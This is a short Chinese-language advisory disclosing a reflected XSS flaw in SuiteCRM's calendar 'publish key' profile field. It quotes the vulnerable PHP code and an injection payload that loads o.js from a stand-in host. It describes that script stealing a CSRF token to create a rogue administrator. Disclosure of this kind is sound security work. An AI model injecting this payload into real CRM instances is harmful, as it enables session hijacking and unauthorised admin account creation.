SuiteCRM 编辑个人资料页面中的“发布密钥”字段存在反射型跨站脚本(XSS)漏洞,允许攻击者注入恶意 JavaScript 代码。该漏洞可被利用来窃取 CSRF 令牌并执行未经授权的操作,例如在没有适当认证的情况下创建新的管理员用户。
该漏洞源于 SuiteCRM 应用程序对发布密钥字段的输入验证和清理不足。当攻击者注入恶意脚本时,该脚本会在已认证用户的会话上下文中执行。注入的脚本(o.js)随后利用捕获的 CSRF 令牌伪造请求,创建新的管理员用户,从而有效破坏 CRM 实例的完整性和安全性。
此漏洞是一个关键的跨站脚本(XSS)问题。其影响包括:
$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);
$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";
$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";
$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);
<script src=//localhost:1235/o.js>
o.js 托管在 localhost 的 1235 端口上的服务器中,提供如提供的 JavaScript 代码片段所述的利用代码。o.js 脚本执行,窃取 CSRF 令牌并利用其创建具有以下凭据的新管理员用户。Username - imposter
Password - ok
https://github.com/user-attachments/assets/cdf96f3d-7f61-4371-818b-e344efdcd197